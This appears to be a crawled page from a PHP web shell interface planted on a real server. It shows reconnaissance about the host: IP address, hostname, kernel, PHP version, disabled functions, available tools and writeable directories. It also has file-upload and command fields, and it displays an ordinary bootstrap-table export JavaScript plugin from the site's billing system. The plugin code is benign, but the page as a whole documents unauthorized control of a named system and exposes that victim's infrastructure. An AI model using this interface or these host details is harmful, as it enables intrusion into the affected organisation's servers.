403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/billingsystem/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/billingsystem/assets/js/bootstrap-table-export.js
/**
 * @author zhixin wen <wenzhixin2010@gmail.com>
 * extensions: https://github.com/kayalshri/tableExport.jquery.plugin
 */

(function($) {
    "use strict";

    var TYPE_NAME = {
        json: "JSON",
        xml: "XML",
        png: "PNG",
        csv: "CSV",
        txt: "TXT",
        sql: "SQL",
        doc: "MS-Word",
        excel: "MS-Excel",
        powerpoint: "MS-Powerpoint",
        pdf: "PDF",
    };

    $.extend($.fn.bootstrapTable.defaults, {
        showExport: false,
        exportDataType: "basic", // basic, all, selected
        // 'json', 'xml', 'png', 'csv', 'txt', 'sql', 'doc', 'excel', 'powerpoint', 'pdf'
        exportTypes: ["json", "xml", "csv", "txt", "sql", "excel"],
        exportOptions: {},
    });

    var BootstrapTable = $.fn.bootstrapTable.Constructor,
        _initToolbar = BootstrapTable.prototype.initToolbar;

    BootstrapTable.prototype.initToolbar = function() {
        this.showToolbar = this.options.showExport;

        _initToolbar.apply(this, Array.prototype.slice.apply(arguments));

        if (this.options.showExport) {
            var that = this,
                $btnGroup = this.$toolbar.find(">.btn-group"),
                $export = $btnGroup.find("div.export");

            if (!$export.length) {
                $export = $(
                    [
                        '<div class="export btn-group">',
                        '<button class="btn btn-default dropdown-toggle" ' +
                        'data-toggle="dropdown" type="button">',
                        '<i class="mdi mdi-file-multiple"></i>',
                        '<span class="caret"></span>',
                        "</button>",
                        '<ul class="dropdown-menu" role="menu">',
                        "</ul>",
                        "</div>",
                    ].join("")
                ).appendTo($btnGroup);

                var $menu = $export.find(".dropdown-menu"),
                    exportTypes = this.options.exportTypes;

                if (typeof this.options.exportTypes === "string") {
                    var types = this.options.exportTypes
                        .slice(1, -1)
                        .replace(/ /g, "")
                        .split(",");

                    exportTypes = [];
                    $.each(types, function(i, value) {
                        exportTypes.push(value.slice(1, -1));
                    });
                }
                $.each(exportTypes, function(i, type) {
                    if (TYPE_NAME.hasOwnProperty(type)) {
                        $menu.append(
                            [
                                '<li data-type="' + type + '">',
                                '<a href="javascript:void(0)">',
                                TYPE_NAME[type],
                                "</a>",
                                "</li>",
                            ].join("")
                        );
                    }
                });

                $menu.find("li").click(function() {
                    var type = $(this).data("type"),
                        doExport = function() {
                            that.$el.tableExport(
                                $.extend({}, that.options.exportOptions, {
                                    type: type,
                                    escape: false,
                                })
                            );
                        };

                    if (
                        that.options.exportDataType === "all" &&
                        that.options.pagination
                    ) {
                        that.$el.one(
                            "load-success.bs.table page-change.bs.table",
                            function() {
                                doExport();
                                that.togglePagination();
                            }
                        );
                        that.togglePagination();
                    } else if (that.options.exportDataType === "selected") {
                        var data = that.getData(),
                            selectedData = that.getAllSelections();

                        that.load(selectedData);
                        doExport();
                        that.load(data);
                    } else {
                        doExport();
                    }
                });
            }
        }
    };
})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit